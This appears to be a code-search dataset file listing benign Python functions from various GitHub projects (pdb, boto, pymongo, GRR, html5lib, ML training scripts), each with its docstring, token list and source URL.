https://github.com/twisted/twisted/blob/dee676b040dd38b847ea6fb112a712cb5e119490/src/twisted/trial/runner.py#L64-L78
TheSouthFrog/stylealign	910632d2fccc9db61b00c265ae18a88913113c1d	util/buffer.py	python	BufferedWrapper.__next__	(self)	return result			[]	def __next__(self): result = self.buffer_.get() self._async_next() return result	[ "def", "__next__", "(", "self", ")", ":", "result", "=", "self", ".", "buffer_", ".", "get", "(", ")", "self", ".", "_async_next", "(", ")", "return", "result" ]	https://github.com/TheSouthFrog/stylealign/blob/910632d2fccc9db61b00c265ae18a88913113c1d/util/buffer.py#L17-L20
ESCOMP/CESM	4e21488773baa1bd9fb06fb8750db9f9bd12b705	manage_externals/manic/repository_svn.py	python	SvnRepository.__init__	(self, component_name, repo, ignore_ancestry=False)		Parse repo (a <repo> XML element).	Parse repo (a <repo> XML element).	[ "Parse", "repo", "(", "a", "<repo", ">", "XML", "element", ")", "." ]	def __init__(self, component_name, repo, ignore_ancestry=False): """ Parse repo (a <repo> XML element). """ Repository.__init__(self, component_name, repo) self._ignore_ancestry = ignore_ancestry if self._branch: self._url = os.path.join(self._url, self._branch) elif self._tag: self._url = os.path.join(self._url, self._tag) else: msg = "DEV_ERROR in svn repository. Shouldn't be here!" fatal_error(msg)	[ "def", "__init__", "(", "self", ",", "component_name", ",", "repo", ",", "ignore_ancestry", "=", "False", ")", ":", "Repository", ".", "__init__", "(", "self", ",", "component_name", ",", "repo", ")", "self", ".", "_ignore_ancestry", "=", "ignore_ancestry", "if", "self", ".", "_branch", ":", "self", ".", "_url", "=", "os", ".", "path", ".", "join", "(", "self", ".", "_url", ",", "self", ".", "_branch", ")", "elif", "self", ".", "_tag", ":", "self", ".", "_url", "=", "os", ".", "path", ".", "join", "(", "self", ".", "_url", ",", "self", ".", "_tag", ")", "else", ":", "msg", "=", "\"DEV_ERROR in svn repository. Shouldn't be here!\"", "fatal_error", "(", "msg", ")" ]	https://github.com/ESCOMP/CESM/blob/4e21488773baa1bd9fb06fb8750db9f9bd12b705/manage_externals/manic/repository_svn.py#L40-L52
jython/jython3	def4f8ec47cb7a9c799ea4c745f12badf92c5769	lib-python/3.5.1/idlelib/SearchDialogBase.py	python	SearchDialogBase.create_command_buttons	(self)		Place buttons in vertical command frame gridded on right.	Place buttons in vertical command frame gridded on right.	[ "Place", "buttons", "in", "vertical", "command", "frame", "gridded", "on", "right", "." ]	def create_command_buttons(self): "Place buttons in vertical command frame gridded on right." f = self.buttonframe = Frame(self.top) f.grid(row=0,column=2,padx=2,pady=2,ipadx=2,ipady=2) b = self.make_button("close", self.close) b.lower()	[ "def", "create_command_buttons", "(", "self", ")", ":", "f", "=", "self", ".", "buttonframe", "=", "Frame", "(", "self", ".", "top", ")", "f", ".", "grid", "(", "row", "=", "0", ",", "column", "=", "2", ",", "padx", "=", "2", ",", "pady", "=", "2", ",", "ipadx", "=", "2", ",", "ipady", "=", "2", ")", "b", "=", "self", ".", "make_button", "(", "\"close\"", ",", "self", ".", "close", ")", "b", ".", "lower", "(", ")" ]	https://github.com/jython/jython3/blob/def4f8ec47cb7a9c799ea4c745f12badf92c5769/lib-python/3.5.1/idlelib/SearchDialogBase.py#L173-L179
cloudera/hue	23f02102d4547c17c32bd5ea0eb24e9eadd657a4	desktop/core/ext-py/boto-2.46.1/boto/cloudsearch/domain.py	python	Domain.index_documents	(self)		Tells the search domain to start indexing its documents using the latest text processing options and IndexFields. This operation must be invoked to make options whose OptionStatus has OptioState of RequiresIndexDocuments visible in search results.	Tells the search domain to start indexing its documents using the latest text processing options and IndexFields. This operation must be invoked to make options whose OptionStatus has OptioState of RequiresIndexDocuments visible in search results.	[ "Tells", "the", "search", "domain", "to", "start", "indexing", "its", "documents", "using", "the", "latest", "text", "processing", "options", "and", "IndexFields", ".", "This", "operation", "must", "be", "invoked", "to", "make", "options", "whose", "OptionStatus", "has", "OptioState", "of", "RequiresIndexDocuments", "visible", "in", "search", "results", "." ]	def index_documents(self): """ Tells the search domain to start indexing its documents using the latest text processing options and IndexFields. This operation must be invoked to make options whose OptionStatus has OptioState of RequiresIndexDocuments visible in search results. """ self.layer1.index_documents(self.name)	[ "def", "index_documents", "(", "self", ")", ":", "self", ".", "layer1", ".", "index_documents", "(", "self", ".", "name", ")" ]	https://github.com/cloudera/hue/blob/23f02102d4547c17c32bd5ea0eb24e9eadd657a4/desktop/core/ext-py/boto-2.46.1/boto/cloudsearch/domain.py#L224-L232
PaddlePaddle/Research	2da0bd6c72d60e9df403aff23a7802779561c4a1	NLP/EMNLP2019-MAL/src/beam_search.py	python	BeamSearch.grow_finished	(self, i, finished_seq, finished_scores, finished_flags, curr_seq, curr_scores, curr_finished)	return self.compute_topk_scores_and_seq(curr_finished_seq, curr_finished_scores, curr_finished_scores, curr_finished_flags, pick_finish=True)	grow_finished	grow_finished	[ "grow_finished" ]	def grow_finished(self, i, finished_seq, finished_scores, finished_flags, curr_seq, curr_scores, curr_finished): """ grow_finished """ finished_seq = layers.concat([finished_seq, layers.fill_constant([self.batch_size, self.beam_size, 1], dtype='int64', value=0)], axis=2) curr_scores = curr_scores + (1.0 - layers.cast(curr_finished, 'int64')) * -INF curr_finished_seq = layers.concat([finished_seq, curr_seq], axis=1) curr_finished_scores = layers.concat([finished_scores, curr_scores], axis=1) curr_finished_flags = layers.concat([finished_flags, curr_finished], axis=1) return self.compute_topk_scores_and_seq(curr_finished_seq, curr_finished_scores, curr_finished_scores, curr_finished_flags, pick_finish=True)	[ "def", "grow_finished", "(", "self", ",", "i", ",", "finished_seq", ",", "finished_scores", ",", "finished_flags", ",", "curr_seq", ",", "curr_scores", ",", "curr_finished", ")", ":", "finished_seq", "=", "layers", ".", "concat", "(", "[", "finished_seq", ",", "layers", ".", "fill_constant", "(", "[", "self", ".", "batch_size", ",", "self", ".", "beam_size", ",", "1", "]", ",", "dtype", "=", "'int64'", ",", "value", "=", "0", ")", "]", ",", "axis", "=", "2", ")", "curr_scores", "=", "curr_scores", "+", "(", "1.0", "-", "layers", ".", "cast", "(", "curr_finished", ",", "'int64'", ")", ")", "*", "-", "INF", "curr_finished_seq", "=", "layers", ".", "concat", "(", "[", "finished_seq", ",", "curr_seq", "]", ",", "axis", "=", "1", ")", "curr_finished_scores", "=", "layers", ".", "concat", "(", "[", "finished_scores", ",", "curr_scores", "]", ",", "axis", "=", "1", ")", "curr_finished_flags", "=", "layers", ".", "concat", "(", "[", "finished_flags", ",", "curr_finished", "]", ",", "axis", "=", "1", ")", "return", "self", ".", "compute_topk_scores_and_seq", "(", "curr_finished_seq", ",", "curr_finished_scores", ",", "curr_finished_scores", ",", "curr_finished_flags", ",", "pick_finish", "=", "True", ")" ]	https://github.com/PaddlePaddle/Research/blob/2da0bd6c72d60e9df403aff23a7802779561c4a1/NLP/EMNLP2019-MAL/src/beam_search.py#L142-L159
python/cpython	e13cdca0f5224ec4e23bdd04bb3120506964bc8b	Lib/pdb.py	python	Pdb.lookupmodule	(self, filename)	return None	Helper function for break/clear parsing -- may be overridden. lookupmodule() translates (possibly incomplete) file or module name into an absolute file name.	Helper function for break/clear parsing -- may be overridden.	[ "Helper", "function", "for", "break", "/", "clear", "parsing", "--", "may", "be", "overridden", "." ]	def lookupmodule(self, filename): """Helper function for break/clear parsing -- may be overridden. lookupmodule() translates (possibly incomplete) file or module name into an absolute file name. """ if os.path.isabs(filename) and os.path.exists(filename): return filename f = os.path.join(sys.path[0], filename) if os.path.exists(f) and self.canonic(f) == self.mainpyfile: return f root, ext = os.path.splitext(filename) if ext == '': filename = filename + '.py' if os.path.isabs(filename): return filename for dirname in sys.path: while os.path.islink(dirname): dirname = os.readlink(dirname) fullname = os.path.join(dirname, filename) if os.path.exists(fullname): return fullname return None	[ "def", "lookupmodule", "(", "self", ",", "filename", ")", ":", "if", "os", ".", "path", ".", "isabs", "(", "filename", ")", "and", "os", ".", "path", ".", "exists", "(", "filename", ")", ":", "return", "filename", "f", "=", "os", ".", "path", ".", "join", "(", "sys", ".", "path", "[", "0", "]", ",", "filename", ")", "if", "os", ".", "path", ".", "exists", "(", "f", ")", "and", "self", ".", "canonic", "(", "f", ")", "==", "self", ".", "mainpyfile", ":", "return", "f", "root", ",", "ext", "=", "os", ".", "path", ".", "splitext", "(", "filename", ")", "if", "ext", "==", "''", ":", "filename", "=", "filename", "+", "'.py'", "if", "os", ".", "path", ".", "isabs", "(", "filename", ")", ":", "return", "filename", "for", "dirname", "in", "sys", ".", "path", ":", "while", "os", ".", "path", ".", "islink", "(", "dirname", ")", ":", "dirname", "=", "os", ".", "readlink", "(", "dirname", ")", "fullname", "=", "os", ".", "path", ".", "join", "(", "dirname", ",", "filename", ")", "if", "os", ".", "path", ".", "exists", "(", "fullname", ")", ":", "return", "fullname", "return", "None" ]	https://github.com/python/cpython/blob/e13cdca0f5224ec4e23bdd04bb3120506964bc8b/Lib/pdb.py#L1601-L1623
baidu/knowledge-driven-dialogue	ba85518a1ac2a57988188fc5f2b8fe42e1facf64	generative_pt/network.py	python	main	()		main	main	[ "main" ]	def main(): """ main """ config = model_config() if config.check: config.save_dir = "./tmp/" config.use_gpu = torch.cuda.is_available() and config.gpu >= 0 device = config.gpu torch.cuda.set_device(device) # Data definition corpus = KnowledgeCorpus(data_dir=config.data_dir, data_prefix=config.data_prefix, min_freq=0, max_vocab_size=config.max_vocab_size, min_len=config.min_len, max_len=config.max_len, embed_file=config.embed_file, with_label=config.with_label, share_vocab=config.share_vocab) corpus.load() if config.test and config.ckpt: corpus.reload(data_type='test') train_iter = corpus.create_batches( config.batch_size, "train", shuffle=True, device=device) valid_iter = corpus.create_batches( config.batch_size, "valid", shuffle=False, device=device) test_iter = corpus.create_batches( config.batch_size, "test", shuffle=False, device=device) # Model definition model = KnowledgeSeq2Seq(src_vocab_size=corpus.SRC.vocab_size, tgt_vocab_size=corpus.TGT.vocab_size, embed_size=config.embed_size, hidden_size=config.hidden_size, padding_idx=corpus.padding_idx, num_layers=config.num_layers, bidirectional=config.bidirectional, attn_mode=config.attn, with_bridge=config.with_bridge, tie_embedding=config.tie_embedding, dropout=config.dropout, use_gpu=config.use_gpu, use_bow=config.use_bow, use_dssm=config.use_dssm, use_pg=config.use_pg, use_gs=config.use_gs, pretrain_epoch=config.pretrain_epoch, use_posterior=config.use_posterior, weight_control=config.weight_control, concat=config.decode_concat) model_name = model.__class__.__name__ # Generator definition generator = TopKGenerator(model=model, src_field=corpus.SRC, tgt_field=corpus.TGT, cue_field=corpus.CUE, max_length=config.max_dec_len, ignore_unk=config.ignore_unk, length_average=config.length_average, use_gpu=config.use_gpu) # Interactive generation testing if config.interact and config.ckpt: model.load(config.ckpt) return generator # Testing elif config.test and config.ckpt: print(model) model.load(config.ckpt) print("Testing ...") metrics, scores = evaluate(model, test_iter) print(metrics.report_cum()) print("Generating ...") evaluate_generation(generator, test_iter, save_file=config.gen_file, verbos=True) else: # Load word embeddings if config.use_embed and config.embed_file is not None: model.encoder.embedder.load_embeddings( corpus.SRC.embeddings, scale=0.03) model.decoder.embedder.load_embeddings( corpus.TGT.embeddings, scale=0.03) # Optimizer definition optimizer = getattr(torch.optim, config.optimizer)( model.parameters(), lr=config.lr) # Learning rate scheduler if config.lr_decay is not None and 0 < config.lr_decay < 1.0: lr_scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer=optimizer, factor=config.lr_decay, patience=1, verbose=True, min_lr=1e-5) else: lr_scheduler = None # Save directory date_str, time_str = datetime.now().strftime("%Y%m%d-%H%M%S").split("-") result_str = "{}-{}".format(model_name, time_str) if not os.path.exists(config.save_dir): os.makedirs(config.save_dir) # Logger definition logger = logging.getLogger(__name__) logging.basicConfig(level=logging.DEBUG, format="%(message)s") fh = logging.FileHandler(os.path.join(config.save_dir, "train.log")) logger.addHandler(fh) # Save config params_file = os.path.join(config.save_dir, "params.json") with open(params_file, 'w') as fp: json.dump(config.__dict__, fp, indent=4, sort_keys=True) print("Saved params to '{}'".format(params_file)) logger.info(model) # Train logger.info("Training starts ...") trainer = Trainer(model=model, optimizer=optimizer, train_iter=train_iter, valid_iter=valid_iter, logger=logger, generator=generator, valid_metric_name="-loss", num_epochs=config.num_epochs, save_dir=config.save_dir, log_steps=config.log_steps, valid_steps=config.valid_steps, grad_clip=config.grad_clip, lr_scheduler=lr_scheduler, save_summary=False) if config.ckpt is not None: trainer.load(file_prefix=config.ckpt) trainer.train() logger.info("Training done!") # Test logger.info("") trainer.load(os.path.join(config.save_dir, "best")) logger.info("Testing starts ...") metrics, scores = evaluate(model, test_iter) logger.info(metrics.report_cum()) logger.info("Generation starts ...") test_gen_file = os.path.join(config.save_dir, "test.result") evaluate_generation(generator, test_iter, save_file=test_gen_file, verbos=True)	[ "def", "main", "(", ")", ":", "config", "=", "model_config", "(", ")", "if", "config", ".", "check", ":", "config", ".", "save_dir", "=", "\"./tmp/\"", "config", ".", "use_gpu", "=", "torch", ".", "cuda", ".", "is_available", "(", ")", "and", "config", ".", "gpu", ">=", "0", "device", "=", "config", ".", "gpu", "torch", ".", "cuda", ".", "set_device", "(", "device", ")", "# Data definition", "corpus", "=", "KnowledgeCorpus", "(", "data_dir", "=", "config", ".", "data_dir", ",", "data_prefix", "=", "config", ".", "data_prefix", ",", "min_freq", "=", "0", ",", "max_vocab_size", "=", "config", ".", "max_vocab_size", ",", "min_len", "=", "config", ".", "min_len", ",", "max_len", "=", "config", ".", "max_len", ",", "embed_file", "=", "config", ".", "embed_file", ",", "with_label", "=", "config", ".", "with_label", ",", "share_vocab", "=", "config", ".", "share_vocab", ")", "corpus", ".", "load", "(", ")", "if", "config", ".", "test", "and", "config", ".", "ckpt", ":", "corpus", ".", "reload", "(", "data_type", "=", "'test'", ")", "train_iter", "=", "corpus", ".", "create_batches", "(", "config", ".", "batch_size", ",", "\"train\"", ",", "shuffle", "=", "True", ",", "device", "=", "device", ")", "valid_iter", "=", "corpus", ".", "create_batches", "(", "config", ".", "batch_size", ",", "\"valid\"", ",", "shuffle", "=", "False", ",", "device", "=", "device", ")", "test_iter", "=", "corpus", ".", "create_batches", "(", "config", ".", "batch_size", ",", "\"test\"", ",", "shuffle", "=", "False", ",", "device", "=", "device", ")", "# Model definition", "model", "=", "KnowledgeSeq2Seq", "(", "src_vocab_size", "=", "corpus", ".", "SRC", ".", "vocab_size", ",", "tgt_vocab_size", "=", "corpus", ".", "TGT", ".", "vocab_size", ",", "embed_size", "=", "config", ".", "embed_size", ",", "hidden_size", "=", "config", ".", "hidden_size", ",", "padding_idx", "=", "corpus", ".", "padding_idx", ",", "num_layers", "=", "config", ".", "num_layers", ",", "bidirectional", "=", "config", ".", "bidirectional", ",", "attn_mode", "=", "config", ".", "attn", ",", "with_bridge", "=", "config", ".", "with_bridge", ",", "tie_embedding", "=", "config", ".", "tie_embedding", ",", "dropout", "=", "config", ".", "dropout", ",", "use_gpu", "=", "config", ".", "use_gpu", ",", "use_bow", "=", "config", ".", "use_bow", ",", "use_dssm", "=", "config", ".", "use_dssm", ",", "use_pg", "=", "config", ".", "use_pg", ",", "use_gs", "=", "config", ".", "use_gs", ",", "pretrain_epoch", "=", "config", ".", "pretrain_epoch", ",", "use_posterior", "=", "config", ".", "use_posterior", ",", "weight_control", "=", "config", ".", "weight_control", ",", "concat", "=", "config", ".", "decode_concat", ")", "model_name", "=", "model", ".", "__class__", ".", "__name__", "# Generator definition", "generator", "=", "TopKGenerator", "(", "model", "=", "model", ",", "src_field", "=", "corpus", ".", "SRC", ",", "tgt_field", "=", "corpus", ".", "TGT", ",", "cue_field", "=", "corpus", ".", "CUE", ",", "max_length", "=", "config", ".", "max_dec_len", ",", "ignore_unk", "=", "config", ".", "ignore_unk", ",", "length_average", "=", "config", ".", "length_average", ",", "use_gpu", "=", "config", ".", "use_gpu", ")", "# Interactive generation testing", "if", "config", ".", "interact", "and", "config", ".", "ckpt", ":", "model", ".", "load", "(", "config", ".", "ckpt", ")", "return", "generator", "# Testing", "elif", "config", ".", "test", "and", "config", ".", "ckpt", ":", "print", "(", "model", ")", "model", ".", "load", "(", "config", ".", "ckpt", ")", "print", "(", "\"Testing ...\"", ")", "metrics", ",", "scores", "=", "evaluate", "(", "model", ",", "test_iter", ")", "print", "(", "metrics", ".", "report_cum", "(", ")", ")", "print", "(", "\"Generating ...\"", ")", "evaluate_generation", "(", "generator", ",", "test_iter", ",", "save_file", "=", "config", ".", "gen_file", ",", "verbos", "=", "True", ")", "else", ":", "# Load word embeddings", "if", "config", ".", "use_embed", "and", "config", ".", "embed_file", "is", "not", "None", ":", "model", ".", "encoder", ".", "embedder", ".", "load_embeddings", "(", "corpus", ".", "SRC", ".", "embeddings", ",", "scale", "=", "0.03", ")", "model", ".", "decoder", ".", "embedder", ".", "load_embeddings", "(", "corpus", ".", "TGT", ".", "embeddings", ",", "scale", "=", "0.03", ")", "# Optimizer definition", "optimizer", "=", "getattr", "(", "torch", ".", "optim", ",", "config", ".", "optimizer", ")", "(", "model", ".", "parameters", "(", ")", ",", "lr", "=", "config", ".", "lr", ")", "# Learning rate scheduler", "if", "config", ".", "lr_decay", "is", "not", "None", "and", "0", "<", "config", ".", "lr_decay", "<", "1.0", ":", "lr_scheduler", "=", "torch", ".", "optim", ".", "lr_scheduler", ".", "ReduceLROnPlateau", "(", "optimizer", "=", "optimizer", ",", "factor", "=", "config", ".", "lr_decay", ",", "patience", "=", "1", ",", "verbose", "=", "True", ",", "min_lr", "=", "1e-5", ")", "else", ":", "lr_scheduler", "=", "None", "# Save directory", "date_str", ",", "time_str", "=", "datetime", ".", "now", "(", ")", ".", "strftime", "(", "\"%Y%m%d-%H%M%S\"", ")", ".", "split", "(", "\"-\"", ")", "result_str", "=", "\"{}-{}\"", ".", "format", "(", "model_name", ",", "time_str", ")", "if", "not", "os", ".", "path", ".", "exists", "(", "config", ".", "save_dir", ")", ":", "os", ".", "makedirs", "(", "config", ".", "save_dir", ")", "# Logger definition", "logger", "=", "logging", ".", "getLogger", "(", "__name__", ")", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "DEBUG", ",", "format", "=", "\"%(message)s\"", ")", "fh", "=", "logging", ".", "FileHandler", "(", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"train.log\"", ")", ")", "logger", ".", "addHandler", "(", "fh", ")", "# Save config", "params_file", "=", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"params.json\"", ")", "with", "open", "(", "params_file", ",", "'w'", ")", "as", "fp", ":", "json", ".", "dump", "(", "config", ".", "__dict__", ",", "fp", ",", "indent", "=", "4", ",", "sort_keys", "=", "True", ")", "print", "(", "\"Saved params to '{}'\"", ".", "format", "(", "params_file", ")", ")", "logger", ".", "info", "(", "model", ")", "# Train", "logger", ".", "info", "(", "\"Training starts ...\"", ")", "trainer", "=", "Trainer", "(", "model", "=", "model", ",", "optimizer", "=", "optimizer", ",", "train_iter", "=", "train_iter", ",", "valid_iter", "=", "valid_iter", ",", "logger", "=", "logger", ",", "generator", "=", "generator", ",", "valid_metric_name", "=", "\"-loss\"", ",", "num_epochs", "=", "config", ".", "num_epochs", ",", "save_dir", "=", "config", ".", "save_dir", ",", "log_steps", "=", "config", ".", "log_steps", ",", "valid_steps", "=", "config", ".", "valid_steps", ",", "grad_clip", "=", "config", ".", "grad_clip", ",", "lr_scheduler", "=", "lr_scheduler", ",", "save_summary", "=", "False", ")", "if", "config", ".", "ckpt", "is", "not", "None", ":", "trainer", ".", "load", "(", "file_prefix", "=", "config", ".", "ckpt", ")", "trainer", ".", "train", "(", ")", "logger", ".", "info", "(", "\"Training done!\"", ")", "# Test", "logger", ".", "info", "(", "\"\"", ")", "trainer", ".", "load", "(", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"best\"", ")", ")", "logger", ".", "info", "(", "\"Testing starts ...\"", ")", "metrics", ",", "scores", "=", "evaluate", "(", "model", ",", "test_iter", ")", "logger", ".", "info", "(", "metrics", ".", "report_cum", "(", ")", ")", "logger", ".", "info", "(", "\"Generation starts ...\"", ")", "test_gen_file", "=", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"test.result\"", ")", "evaluate_generation", "(", "generator", ",", "test_iter", ",", "save_file", "=", "test_gen_file", ",", "verbos", "=", "True", ")" ]	https://github.com/baidu/knowledge-driven-dialogue/blob/ba85518a1ac2a57988188fc5f2b8fe42e1facf64/generative_pt/network.py#L104-L215
ShuaiW/teach-machine-to-trade	19dfc2c6537e61ac6eb0102caeb5ed6d32454f99	model.py	python	mlp	(n_obs, n_action, n_hidden_layer=1, n_neuron_per_layer=32, activation='relu', loss='mse')	return model	A multi-layer perceptron	A multi-layer perceptron	[ "A", "multi", "-", "layer", "perceptron" ]	def mlp(n_obs, n_action, n_hidden_layer=1, n_neuron_per_layer=32, activation='relu', loss='mse'): """ A multi-layer perceptron """ model = Sequential() model.add(Dense(n_neuron_per_layer, input_dim=n_obs, activation=activation)) for _ in range(n_hidden_layer): model.add(Dense(n_neuron_per_layer, activation=activation)) model.add(Dense(n_action, activation='linear')) model.compile(loss=loss, optimizer=Adam()) print(model.summary()) return model	[ "def", "mlp", "(", "n_obs", ",", "n_action", ",", "n_hidden_layer", "=", "1", ",", "n_neuron_per_layer", "=", "32", ",", "activation", "=", "'relu'", ",", "loss", "=", "'mse'", ")", ":", "model", "=", "Sequential", "(", ")", "model", ".", "add", "(", "Dense", "(", "n_neuron_per_layer", ",", "input_dim", "=", "n_obs", ",", "activation", "=", "activation", ")", ")", "for", "_", "in", "range", "(", "n_hidden_layer", ")", ":", "model", ".", "add", "(", "Dense", "(", "n_neuron_per_layer", ",", "activation", "=", "activation", ")", ")", "model", ".", "add", "(", "Dense", "(", "n_action", ",", "activation", "=", "'linear'", ")", ")", "model", ".", "compile", "(", "loss", "=", "loss", ",", "optimizer", "=", "Adam", "(", ")", ")", "print", "(", "model", ".", "summary", "(", ")", ")", "return", "model" ]	https://github.com/ShuaiW/teach-machine-to-trade/blob/19dfc2c6537e61ac6eb0102caeb5ed6d32454f99/model.py#L7-L17
rembo10/headphones	b3199605be1ebc83a7a8feab6b1e99b64014187c	lib/html5lib/inputstream.py	python	EncodingBytes.__next__	(self)	return self[p:p + 1]			[]	def __next__(self): p = self._position = self._position + 1 if p >= len(self): raise StopIteration elif p < 0: raise TypeError return self[p:p + 1]	[ "def", "__next__", "(", "self", ")", ":", "p", "=", "self", ".", "_position", "=", "self", ".", "_position", "+", "1", "if", "p", ">=", "len", "(", "self", ")", ":", "raise", "StopIteration", "elif", "p", "<", "0", ":", "raise", "TypeError", "return", "self", "[", "p", ":", "p", "+", "1", "]" ]	https://github.com/rembo10/headphones/blob/b3199605be1ebc83a7a8feab6b1e99b64014187c/lib/html5lib/inputstream.py#L582-L588
Georce/lepus	5b01bae82b5dc1df00c9e058989e2eb9b89ff333	lepus/pymongo-2.7/pymongo/mongo_replica_set_client.py	python	MongoReplicaSetClient.use_greenlets	(self)	return self.__use_greenlets	Whether calling :meth:`start_request` assigns greenlet-local, rather than thread-local, sockets. .. versionadded:: 2.4.2	Whether calling :meth:`start_request` assigns greenlet-local, rather than thread-local, sockets.	[ "Whether", "calling", ":", "meth", ":", "start_request", "assigns", "greenlet", "-", "local", "rather", "than", "thread", "-", "local", "sockets", "." ]	def use_greenlets(self): """Whether calling :meth:`start_request` assigns greenlet-local, rather than thread-local, sockets. .. versionadded:: 2.4.2 """ return self.__use_greenlets	[ "def", "use_greenlets", "(", "self", ")", ":", "return", "self", ".", "__use_greenlets" ]	https://github.com/Georce/lepus/blob/5b01bae82b5dc1df00c9e058989e2eb9b89ff333/lepus/pymongo-2.7/pymongo/mongo_replica_set_client.py#L914-L920
google/grr	8ad8a4d2c5a93c92729206b7771af19d92d4f915	grr/server/grr_response_server/flows/general/filesystem.py	python	ListDirectory.NotifyAboutEnd	(self)		Sends a notification that this flow is done.	Sends a notification that this flow is done.	[ "Sends", "a", "notification", "that", "this", "flow", "is", "done", "." ]	def NotifyAboutEnd(self): """Sends a notification that this flow is done.""" if not self.state.urn: super().NotifyAboutEnd() return st = self.state.stat ps_path_type = st.pathspec.last.pathtype path_type = rdf_objects.PathInfo.PathTypeFromPathspecPathType(ps_path_type) full_path = st.pathspec.CollapsePath() path_components = full_path.strip("/").split("/") file_ref = rdf_objects.VfsFileReference( client_id=self.client_id, path_type=path_type, path_components=path_components) notification.Notify( self.creator, rdf_objects.UserNotification.Type.TYPE_VFS_LIST_DIRECTORY_COMPLETED, "Listed {0}".format(full_path), rdf_objects.ObjectReference( reference_type=rdf_objects.ObjectReference.Type.VFS_FILE, vfs_file=file_ref))	[ "def", "NotifyAboutEnd", "(", "self", ")", ":", "if", "not", "self", ".", "state", ".", "urn", ":", "super", "(", ")", ".", "NotifyAboutEnd", "(", ")", "return", "st", "=", "self", ".", "state", ".", "stat", "ps_path_type", "=", "st", ".", "pathspec", ".", "last", ".", "pathtype", "path_type", "=", "rdf_objects", ".", "PathInfo", ".", "PathTypeFromPathspecPathType", "(", "ps_path_type", ")", "full_path", "=", "st", ".", "pathspec", ".", "CollapsePath", "(", ")", "path_components", "=", "full_path", ".", "strip", "(", "\"/\"", ")", ".", "split", "(", "\"/\"", ")", "file_ref", "=", "rdf_objects", ".", "VfsFileReference", "(", "client_id", "=", "self", ".", "client_id", ",", "path_type", "=", "path_type", ",", "path_components", "=", "path_components", ")", "notification", ".", "Notify", "(", "self", ".", "creator", ",", "rdf_objects", ".", "UserNotification", ".", "Type", ".", "TYPE_VFS_LIST_DIRECTORY_COMPLETED", ",", "\"Listed {0}\"", ".", "format", "(", "full_path", ")", ",", "rdf_objects", ".", "ObjectReference", "(", "reference_type", "=", "rdf_objects", ".", "ObjectReference", ".", "Type", ".", "VFS_FILE", ",", "vfs_file", "=", "file_ref", ")", ")" ]	https://github.com/google/grr/blob/8ad8a4d2c5a93c92729206b7771af19d92d4f915/grr/server/grr_response_server/flows/general/filesystem.py#L161-L186
LabPy/lantz	3e878e3f765a4295b0089d04e241d4beb7b8a65b	lantz/drivers/legacy/andor/ccd.py	python	CCD.n_horiz_shift_speeds	(self, channel=0, typ=None)	return n.value	As your Andor SDK system is capable of operating at more than one horizontal shift speed this function will return the actual number of speeds available. Parameters int channel: the AD channel. int typ: output amplification. Valid values: 0 electron multiplication. 1 conventional. int* speeds: number of allowed horizontal speeds	As your Andor SDK system is capable of operating at more than one horizontal shift speed this function will return the actual number of speeds available. Parameters int channel: the AD channel. int typ: output amplification. Valid values: 0 electron multiplication. 1 conventional. int* speeds: number of allowed horizontal speeds	[ "As", "your", "Andor", "SDK", "system", "is", "capable", "of", "operating", "at", "more", "than", "one", "horizontal", "shift", "speed", "this", "function", "will", "return", "the", "actual", "number", "of", "speeds", "available", ".", "Parameters", "int", "channel", ":", "the", "AD", "channel", ".", "int", "typ", ":", "output", "amplification", ".", "Valid", "values", ":", "0", "electron", "multiplication", ".", "1", "conventional", ".", "int", "*", "speeds", ":", "number", "of", "allowed", "horizontal", "speeds" ]	def n_horiz_shift_speeds(self, channel=0, typ=None): """ As your Andor SDK system is capable of operating at more than one horizontal shift speed this function will return the actual number of speeds available. Parameters int channel: the AD channel. int typ: output amplification. Valid values: 0 electron multiplication. 1 conventional. int* speeds: number of allowed horizontal speeds """ if typ is None: typ = self.amp_typ n = ct.c_int() self.lib.GetNumberHSSpeeds(ct.c_int(channel), ct.c_int(typ), ct.pointer(n)) return n.value	[ "def", "n_horiz_shift_speeds", "(", "self", ",", "channel", "=", "0", ",", "typ", "=", "None", ")", ":", "if", "typ", "is", "None", ":", "typ", "=", "self", ".", "amp_typ", "n", "=", "ct", ".", "c_int", "(", ")", "self", ".", "lib", ".", "GetNumberHSSpeeds", "(", "ct", ".", "c_int", "(", "channel", ")", ",", "ct", ".", "c_int", "(", "typ", ")", ",", "ct", ".", "pointer", "(", "n", ")", ")", "return", "n", ".", "value" ]	https://github.com/LabPy/lantz/blob/3e878e3f765a4295b0089d04e241d4beb7b8a65b/lantz/drivers/legacy/andor/ccd.py#L1465-L1484
mnot/nbhttp	80389f168f3bb3f0dbc7f6aee648e3286eed0a7a	src/server.py	python	test_handler	(method, uri, hdrs, res_start, req_pause)	return dummy, dummy	An extremely simple (and limited) server request_handler.	An extremely simple (and limited) server request_handler.	[ "An", "extremely", "simple", "(", "and", "limited", ")", "server", "request_handler", "." ]	def test_handler(method, uri, hdrs, res_start, req_pause): """ An extremely simple (and limited) server request_handler. """ code = "200" phrase = "OK" res_hdrs = [('Content-Type', 'text/plain')] res_body, res_done = res_start(code, phrase, res_hdrs, dummy) res_body('foo!') res_done(None) return dummy, dummy	[ "def", "test_handler", "(", "method", ",", "uri", ",", "hdrs", ",", "res_start", ",", "req_pause", ")", ":", "code", "=", "\"200\"", "phrase", "=", "\"OK\"", "res_hdrs", "=", "[", "(", "'Content-Type'", ",", "'text/plain'", ")", "]", "res_body", ",", "res_done", "=", "res_start", "(", "code", ",", "phrase", ",", "res_hdrs", ",", "dummy", ")", "res_body", "(", "'foo!'", ")", "res_done", "(", "None", ")", "return", "dummy", ",", "dummy" ]	https://github.com/mnot/nbhttp/blob/80389f168f3bb3f0dbc7f6aee648e3286eed0a7a/src/server.py#L283-L293
